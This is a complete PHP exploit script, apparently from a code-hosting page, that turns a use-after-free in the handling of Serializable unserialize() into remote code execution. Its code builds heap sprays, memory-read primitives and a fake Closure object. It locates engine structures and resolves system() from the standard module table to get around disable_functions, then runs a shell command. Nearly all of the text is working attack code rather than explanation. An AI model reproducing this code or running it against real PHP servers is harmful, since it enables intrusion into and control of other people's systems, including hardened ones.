Files
2026-05-01 16:37:13 -07:00

556 lines
22 KiB
PHP
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
#!/usr/bin/env php
<?php
/*
* PHP Serializable shared-var_hash UAF → RCE.
*
* Bug: zend_user_unserialize() in Zend/zend_interfaces.c does not increment
* BG(serialize_lock) before invoking a Serializable class's unserialize()
* method. A recursive unserialize() call inside that body inherits the
* outer var_hash; if the body then frees memory the inner parse registered
* (e.g. by growing an inner stdClass's property table past nTableSize=8),
* outer R:N back-references resolve to freed slots.
*
* Gadget: one statement.
*
* unserialize($data)->x = 0;
*
* Inner payload: O:8:"stdClass":8:{...}. Eight inner properties fill the
* property HT to nTableSize=8; the single ->x = 0 write is the 9th insert
* and triggers the 8→16 resize, which efree's the original 288-byte arData
* buffer. Var_hash slots 4..11 (the 8 property zvals) all point into it.
*
* Chain: heap leak → spray Closures → mega-string scan for zend_object gc
* patterns → find function_table HT → resolve system() (via standard
* module's static zend_function_entry[] when disable_functions blocks it)
* → fake zend_closure → IS_OBJECT type confusion → RCE.
*
* Target: PHP 8.0–8.5 (NTS). Verified on x86_64 and aarch64.
* Pointer-validity bounds and the EG-from-handlers scan range are
* auto-tuned per architecture at startup.
*/
error_reporting(0);
class CachedData implements Serializable {
public function serialize(): string { return ''; }
public function unserialize(string $data): void {
unserialize($data)->x = 0;
}
}
$GLOBALS['_cl'] = function(){};
class Exploit {
const SPRAY_LEN = 280;
const SPRAY_COUNT = 32;
const NUM_PROPS = 8;
// Struct member offsets — stable across PHP 8.0–8.5 builds
const OFF_OBJ_CE = 0x10;
const OFF_OBJ_HANDLERS = 0x18;
const OFF_CLOSURE_FUNC = 0x38;
const OFF_HANDLER = 0x58; // zend_internal_function.handler
const OFF_HT_MASK = 0x0C;
const OFF_HT_ARDATA = 0x10;
// Bucket layout (32 bytes)
const BUCKET_SIZE = 32;
const BUCKET_VAL = 0;
const BUCKET_H = 16;
const BUCKET_KEY = 24;
const OFF_INTFUNC_MODULE = 0x60;
const OFF_MODULE_FUNCS = 0x28;
const FUNC_ENTRY_SIZE = 0x30;
private $ADDR_MAX; // user-space pointer upper bound
private $DELTA_MAX; // EG-from-closure_handlers scan range
public function __construct() {
$arch = php_uname('m');
if ($arch === 'aarch64' || $arch === 'arm64') {
// 48-bit user; PIE binaries map in the 0xaaaa.. range, EG..closure_handlers ~0x340
$this->ADDR_MAX = 0xFFFFFFFFFFFF;
$this->DELTA_MAX = 0x600;
} else {
// x86_64 / others: 47-bit canonical user; EG..closure_handlers typically <0x300
$this->ADDR_MAX = 0x7FFFFFFFFFFF;
$this->DELTA_MAX = 0x300;
}
}
// ─── Spray builders ───
private function build_inner() {
// 8-property stdClass: HT created at nTableSize=8, full to capacity.
// The gadget body's single ->x = 0 write is the 9th insert and triggers
// the resize. Slot 3 = stdClass, slots 4..11 = property zvals.
$props = '';
for ($k = 0; $k < self::NUM_PROPS; $k++) {
$pname = "p$k";
$props .= 's:' . strlen($pname) . ':"' . $pname . '";i:' . (0xAAAA0000 + $k) . ';';
}
return 'O:8:"stdClass":' . self::NUM_PROPS . ':{' . $props . '}';
}
private function build_spray_islong($marker = 0xBBBB0000) {
$s = str_repeat("\x00", self::SPRAY_LEN);
for ($k = 0; $k < 8; $k++) {
$vo = 8 + $k * 32; $to = $vo + 8;
if ($to + 4 > self::SPRAY_LEN) break;
$m = $marker + $k;
$s[$vo]=chr($m&0xFF); $s[$vo+1]=chr(($m>>8)&0xFF);
$s[$vo+2]=chr(($m>>16)&0xFF); $s[$vo+3]=chr(($m>>24)&0xFF);
$s[$vo+4]=$s[$vo+5]=$s[$vo+6]=$s[$vo+7]="\x00";
$s[$to]="\x04"; $s[$to+1]=$s[$to+2]=$s[$to+3]="\x00";
}
return $s;
}
private function build_spray_isstring($target_addr) {
$s = str_repeat("\x00", self::SPRAY_LEN);
$vo = 8 + 1 * 32;
$ab = pack('P', $target_addr);
for ($i = 0; $i < 8; $i++) $s[$vo + $i] = $ab[$i];
$to = $vo + 8;
$s[$to] = "\x06"; $s[$to+1] = $s[$to+2] = $s[$to+3] = "\x00";
for ($k = 0; $k < 8; $k++) {
if ($k == 1) continue;
$vo2 = 8 + $k * 32; $to2 = $vo2 + 8;
if ($to2 + 4 > self::SPRAY_LEN) break;
$s[$to2] = "\x04"; $s[$to2+1] = $s[$to2+2] = $s[$to2+3] = "\x00";
}
return $s;
}
private function build_spray_isobject($obj_addr) {
$s = str_repeat("\x00", self::SPRAY_LEN);
$vo = 8 + 1 * 32;
$ab = pack('P', $obj_addr);
for ($i = 0; $i < 8; $i++) $s[$vo + $i] = $ab[$i];
$to = $vo + 8;
$s[$to] = "\x08"; $s[$to+1] = "\x03"; $s[$to+2] = $s[$to+3] = "\x00";
for ($k = 0; $k < 8; $k++) {
if ($k == 1) continue;
$vo2 = 8 + $k * 32; $to2 = $vo2 + 8;
if ($to2 + 4 > self::SPRAY_LEN) break;
$s[$to2] = "\x04"; $s[$to2+1] = $s[$to2+2] = $s[$to2+3] = "\x00";
}
return $s;
}
private function build_payload($spray, $num_refs = 1) {
$inner = $this->build_inner();
$c_part = 'C:10:"CachedData":' . strlen($inner) . ':{' . $inner . '}';
$total = 1 + self::SPRAY_COUNT + $num_refs;
$parts = ['i:0;' . $c_part];
for ($i = 0; $i < self::SPRAY_COUNT; $i++) {
$parts[] = 'i:' . ($i + 1) . ';s:' . self::SPRAY_LEN . ':"' . $spray . '";';
}
for ($k = 0; $k < $num_refs; $k++) {
// R:4..R:11 = the 8 property zvals of the inner stdClass
$parts[] = 'i:' . (self::SPRAY_COUNT + 1 + $k) . ';R:' . (4 + $k) . ';';
}
return 'a:' . $total . ':{' . implode('', $parts) . '}';
}
// ─── UAF read primitives ───
private function uaf_read($addr, $n = 8) {
foreach ([0, 0x08, 0x10, 0x20, 0x40, 0x80, 0x100, 0x200] as $bias) {
$target = $addr - 0x18 - $bias;
if ($target < 0x1000) continue;
$spray = $this->build_spray_isstring($target);
$payload = $this->build_payload($spray, 1);
$result = @unserialize($payload);
if ($result === false) continue;
$str = $result[self::SPRAY_COUNT + 1];
if (!is_string($str)) continue;
$slen = strlen($str);
if ($slen >= 0 && $slen <= $bias + $n - 1) continue;
$out = substr($str, $bias, $n);
if (strlen($out) >= $n) return $out;
}
return false;
}
private function read8($addr) {
$d = $this->uaf_read($addr, 8);
if ($d === false || strlen($d) < 8) return false;
return unpack('P', $d)[1];
}
private function read8_retry($addr, $attempts = 3) {
for ($i = 0; $i < $attempts; $i++) {
$v = $this->read8($addr);
if ($v !== false) return $v;
}
return false;
}
// ─── DJBX33A hash (same as Zend) ───
private function zend_hash_func($key) {
$h = 5381;
for ($i = 0; $i < strlen($key); $i++)
$h = (($h << 5) + $h) + ord($key[$i]);
return $h | (1 << 63);
}
private function ht_find($ht_addr, $key) {
$arData = $this->read8_retry($ht_addr + self::OFF_HT_ARDATA);
if ($arData === false) return false;
$d = $this->uaf_read($ht_addr + self::OFF_HT_MASK, 4);
if ($d === false) return false;
$nTableMask = unpack('V', $d)[1];
return $this->ht_find_raw($arData, $nTableMask, $key);
}
private function ht_find_raw($arData, $nTableMask, $key) {
$h = $this->zend_hash_func($key);
$nIndex = (($h & 0xFFFFFFFF) | $nTableMask) & 0xFFFFFFFF;
if ($nIndex >= 0x80000000) $nIndex -= 0x100000000;
$slot_addr = $arData + $nIndex * 4;
$d = $this->uaf_read($slot_addr, 4);
if ($d === false) return false;
$idx = unpack('V', $d)[1];
if ($idx === 0xFFFFFFFF) return false;
$klen = strlen($key);
for ($chain = 0; $chain < 16; $chain++) {
$bucket_addr = $arData + $idx * self::BUCKET_SIZE;
$bucket = $this->uaf_read($bucket_addr, self::BUCKET_SIZE);
if ($bucket === false) return false;
$key_ptr = unpack('P', substr($bucket, self::BUCKET_KEY, 8))[1];
if ($key_ptr != 0) {
$kd = $this->uaf_read($key_ptr + 16, 8 + $klen);
if ($kd !== false) {
$slen = unpack('P', substr($kd, 0, 8))[1];
if ($slen == $klen && substr($kd, 8, $klen) === $key) {
return $bucket;
}
}
}
$next = unpack('V', substr($bucket, 12, 4))[1];
if ($next === 0xFFFFFFFF) return false;
$idx = $next;
}
return false;
}
// ─── Phase 1: Heap address leak ───
private function heap_leak() {
$spray = $this->build_spray_islong();
$original = $spray;
$payload = $this->build_payload($spray, self::NUM_PROPS);
$result = @unserialize($payload);
if ($result === false) die("[-] heap_leak: unserialize failed\n");
for ($i = 1; $i <= self::SPRAY_COUNT; $i++) {
$s = $result[$i];
for ($k = 0; $k < self::NUM_PROPS; $k++) {
$vo = 8 + ($k + 1) * 32;
if (substr($s, $vo, 8) !== substr($original, $vo, 8)) {
return unpack('P', substr($s, $vo, 8))[1];
}
}
}
die("[-] heap_leak: no spray modification detected\n");
}
// ─── Phase 2: Find object pointers (ce, handlers) from heap objects ───
private function find_object_pointers($heap_addr) {
$chunk = $heap_addr & 0xFFFFFFFFFFE00000;
for ($i = 0; $i < 256; $i++) {
$GLOBALS["_spray_$i"] = function(){};
}
for ($attempt = 0; $attempt < 3; $attempt++) {
$target = $chunk - 0x10;
$spray = $this->build_spray_isstring($target);
$payload = $this->build_payload($spray, 1);
$result = @unserialize($payload);
if ($result === false) continue;
$str = $result[self::SPRAY_COUNT + 1];
if (!is_string($str)) continue;
$slen = strlen($str);
if ($slen < 0x10000) continue;
$max_off = min($slen, 0x200000 - 0x08);
$pairs = [];
for ($off = 8; $off + 32 <= $max_off; $off += 16) {
$rc = unpack('V', substr($str, $off, 4))[1];
if ($rc < 1 || $rc > 50) continue;
$ti = ord($str[$off + 4]) & 0x0F;
if ($ti != 8) continue;
$handle = unpack('V', substr($str, $off + 8, 4))[1];
if ($handle == 0 || $handle > 100000) continue;
$pad = unpack('V', substr($str, $off + 12, 4))[1];
if ($pad != 0) continue;
$ce = unpack('P', substr($str, $off + 16, 8))[1];
$handlers = unpack('P', substr($str, $off + 24, 8))[1];
if ($ce == 0 || $handlers == 0) continue;
if (($handlers & (~0x1FFFFF)) == $chunk) continue;
if ($handlers < 0x10000 || $handlers > $this->ADDR_MAX) continue;
$key = sprintf("%x", $handlers);
if (!isset($pairs[$key])) $pairs[$key] = ['ce' => $ce, 'handlers' => $handlers, 'count' => 0];
$pairs[$key]['count']++;
}
if (empty($pairs)) continue;
usort($pairs, fn($a, $b) => $b['count'] <=> $a['count']);
$best = $pairs[0];
printf("[+] Found %d object groups, best: count=%d ce=0x%x handlers=0x%x\n",
count($pairs), $best['count'], $best['ce'], $best['handlers']);
return [$best['ce'], $best['handlers']];
}
return false;
}
// ─── Phase 3a: Find EG and function_table near handlers in .bss ───
private function find_function_table_ht($handlers, $heap_addr) {
for ($delta = 0x20; $delta < $this->DELTA_MAX; $delta += 8) {
foreach ([0x1b0, 0x1c8] as $ft_off) {
$ptr_addr = $handlers + $delta + $ft_off;
$d = $this->uaf_read($ptr_addr, 24);
if ($d === false) continue;
$ft_ptr = unpack('P', substr($d, 0, 8))[1];
$ct_ptr = unpack('P', substr($d, 8, 8))[1];
$zc_ptr = unpack('P', substr($d, 16, 8))[1];
if ($ft_ptr < 0x10000 || $ft_ptr > $this->ADDR_MAX) continue;
if ($ct_ptr < 0x10000 || $ct_ptr > $this->ADDR_MAX) continue;
if ($zc_ptr < 0x10000 || $zc_ptr > $this->ADDR_MAX) continue;
if (abs($ft_ptr - $ct_ptr) > 0x1000000) continue;
if (abs($ct_ptr - $zc_ptr) > 0x1000000) continue;
$htd = $this->uaf_read($ft_ptr + self::OFF_HT_MASK, 16);
if ($htd === false) continue;
$nTableMask = unpack('V', substr($htd, 0, 4))[1];
$arData = unpack('P', substr($htd, 4, 8))[1];
$nNumUsed = unpack('V', substr($htd, 12, 4))[1];
$pos = (~$nTableMask + 1) & 0xFFFFFFFF;
if ($pos < 64 || ($pos & ($pos - 1)) != 0) continue;
if ($arData < 0x10000 || $arData > $this->ADDR_MAX) continue;
if ($nNumUsed < 100 || $nNumUsed > 10000) continue;
printf("[+] function_table @ 0x%x (nNumUsed=%d, delta=0x%x, ft_off=+0x%x)\n",
$ft_ptr, $nNumUsed, $delta, $ft_off);
return ['ht' => $ft_ptr, 'arData' => $arData, 'nTableMask' => $nTableMask,
'delta' => $delta, 'ft_off' => $ft_off];
}
}
return false;
}
// ─── Phase 3b: Find symbol_table (embedded in EG) ───
private function find_symbol_table($handlers, $combined, $heap_addr) {
foreach ([0x1b0, 0x1c8] as $ft_off) {
$delta = $combined - $ft_off;
if ($delta < 0) continue;
$eg = $handlers + $delta;
$st = $eg + 0x130;
$d = $this->uaf_read($st + self::OFF_HT_MASK, 16);
if ($d === false) continue;
$st_mask = unpack('V', substr($d, 0, 4))[1];
$st_ardata = unpack('P', substr($d, 4, 8))[1];
$st_nused = unpack('V', substr($d, 12, 4))[1];
$m32 = $st_mask & 0xFFFFFFFF;
if ($m32 < 0xFFFF0000) continue;
$pos = (~$m32 + 1) & 0xFFFFFFFF;
if (($pos & ($pos - 1)) !== 0 || $pos < 4) continue;
if ($st_ardata < 0x10000) continue;
if ($st_nused > 500) continue;
printf("[+] EG @ 0x%x (ft_off=+0x%x), symbol_table @ 0x%x (nNumUsed=%d)\n",
$eg, $ft_off, $st, $st_nused);
return $st;
}
return false;
}
private function read_str($addr, $maxlen = 32) {
$d = $this->uaf_read($addr, $maxlen);
if ($d === false) return false;
$s = '';
for ($i = 0; $i < strlen($d); $i++) {
$c = ord($d[$i]);
if ($c == 0) break;
if ($c >= 0x20 && $c <= 0x7e) $s .= chr($c);
else return false;
}
return $s;
}
// ─── Phase 4: Bypass disable_functions, find zif_system handler ───
private function find_system($arData, $nTableMask, $closure_handlers) {
$disabled = ini_get('disable_functions');
$is_disabled = (stripos($disabled, 'system') !== false);
if (!$is_disabled) {
$bucket = $this->ht_find_raw($arData, $nTableMask, "system");
if ($bucket !== false) {
$func_ptr = unpack('P', substr($bucket, 0, 8))[1];
$handler = $this->read8_retry($func_ptr + self::OFF_HANDLER);
if ($handler !== false) {
printf("[+] zif_system @ 0x%x\n", $handler);
return ['handler' => $handler, 'mode' => 'closure'];
}
}
}
printf("[!] system() is in disable_functions: %s\n", $disabled ?: '(none)');
echo "[*] Bypassing: resolving zif_system from module function entry table...\n";
$handler = $this->find_system_via_module($arData, $nTableMask);
if ($handler === false)
die("[-] Cannot find zif_system in module function entries\n");
printf("[+] zif_system (from module) @ 0x%x\n", $handler);
return ['handler' => $handler, 'mode' => 'closure'];
}
private function find_system_via_module($arData, $nTableMask) {
$probe_funcs = ['var_dump', 'array_push', 'phpversion', 'getenv', 'strtolower'];
$mod_ptr = false;
foreach ($probe_funcs as $fname) {
$bucket = $this->ht_find_raw($arData, $nTableMask, $fname);
if ($bucket === false) continue;
$func_ptr = unpack('P', substr($bucket, 0, 8))[1];
$candidate = $this->read8_retry($func_ptr + self::OFF_INTFUNC_MODULE);
if ($candidate === false || $candidate < 0x10000 || $candidate > $this->ADDR_MAX) continue;
$name_ptr = $this->read8_retry($candidate + 0x20);
if ($name_ptr === false) continue;
$name = $this->read_str($name_ptr, 16);
if ($name === 'standard') {
$mod_ptr = $candidate;
printf("[+] standard module @ 0x%x (via %s)\n", $mod_ptr, $fname);
break;
}
}
if ($mod_ptr === false) return false;
$funcs = $this->read8_retry($mod_ptr + self::OFF_MODULE_FUNCS);
if ($funcs === false) return false;
printf("[+] module functions @ 0x%x\n", $funcs);
for ($j = 0; $j < 600; $j++) {
$entry = $funcs + $j * self::FUNC_ENTRY_SIZE;
$fname_ptr = $this->read8_retry($entry);
if ($fname_ptr === false || $fname_ptr == 0) break;
$fname = $this->read_str($fname_ptr, 16);
if ($fname === 'system')
return $this->read8_retry($entry + 0x08);
}
return false;
}
// ─── Build fake zend_closure ───
private function build_fake_closure($ce, $handlers, $system_handler) {
$b = str_repeat("\x00", 512);
$w = function(&$buf, $off, $data) {
for ($i = 0; $i < strlen($data); $i++) $buf[$off + $i] = $data[$i];
};
$w($b, 0x00, pack('V', 0x7FFFFFFF));
$w($b, 0x04, pack('V', 0x18));
$w($b, self::OFF_OBJ_CE, pack('P', $ce));
$w($b, self::OFF_OBJ_HANDLERS, pack('P', $handlers));
$w($b, self::OFF_CLOSURE_FUNC, chr(1));
$w($b, 0x58, pack('V', 1));
$w($b, 0x5C, pack('V', 1));
$w($b, self::OFF_CLOSURE_FUNC + self::OFF_HANDLER, pack('P', $system_handler));
return $b;
}
private function find_var_string_addr($st_addr, $name) {
$bucket = $this->ht_find($st_addr, $name);
if ($bucket === false) return false;
$type = ord($bucket[8]);
$val = unpack('P', substr($bucket, 0, 8))[1];
if ($type == 6) return $val;
if ($type == 10) {
$inner = $this->uaf_read($val + 8, 16);
if ($inner === false) return false;
if (ord($inner[8]) == 6) return unpack('P', substr($inner, 0, 8))[1];
}
return false;
}
public function run() {
$cmd = "id && uname -a";
echo "=== PHP Serializable var_hash UAF → RCE ===\n";
printf(" Arch: %s ADDR_MAX=0x%x DELTA_MAX=0x%x\n\n",
php_uname('m'), $this->ADDR_MAX, $this->DELTA_MAX);
echo "[*] Phase 1: Heap address leak via R: write-through...\n";
$heap_addr = $this->heap_leak();
printf("[+] zend_reference @ 0x%x\n", $heap_addr);
echo "\n[*] Phase 3: Finding object pointers (ce, handlers) in heap...\n";
$ptrs = $this->find_object_pointers($heap_addr);
if ($ptrs === false) die("[-] Cannot find object pointers\n");
[$ce_closure, $closure_handlers] = $ptrs;
echo "\n[*] Phase 4: Locating executor globals...\n";
$ft = $this->find_function_table_ht($closure_handlers, $heap_addr);
if ($ft === false) die("[-] Cannot find function_table HT\n");
$combined = $ft['delta'] + $ft['ft_off'];
$st_addr = $this->find_symbol_table($closure_handlers, $combined, $heap_addr);
if ($st_addr === false) die("[-] Cannot find symbol_table\n");
echo "\n[*] Phase 5: Bypassing disable_functions...\n";
$sys = $this->find_system($ft['arData'], $ft['nTableMask'], $closure_handlers);
echo "\n[*] Phase 6: Building the fake closure...\n";
$fc = $this->build_fake_closure($ce_closure, $closure_handlers, $sys['handler']);
$GLOBALS["_xfc"] = $fc;
echo "\n[*] Phase 7: Locating the fake closure via EG.symbol_table...\n";
$str_ptr = $this->find_var_string_addr($st_addr, "_xfc");
if ($str_ptr === false) die("[-] Cannot find _xfc\n");
$obj_addr = $str_ptr + 24;
printf("[+] Fake closure @ 0x%x\n", $obj_addr);
echo "\n[*] Phase 8: Type confusion and RCE...\n";
$spray = $this->build_spray_isobject($obj_addr);
$payload = $this->build_payload($spray, 1);
$result = @unserialize($payload);
if ($result === false) die("[-] unserialize failed\n");
$idx = self::SPRAY_COUNT + 1;
if (!is_object($result[$idx]))
die("[-] Expected object, got " . gettype($result[$idx]) . "\n");
echo "[+] Got fake Closure!\n\n";
echo str_repeat("\xe2\x94\x80", 50) . "\n";
$result[$idx]($cmd);
echo "\n" . str_repeat("\xe2\x94\x80", 50) . "\n";
echo "\n[+] Exploit complete.\n";
}
}
(new Exploit)->run();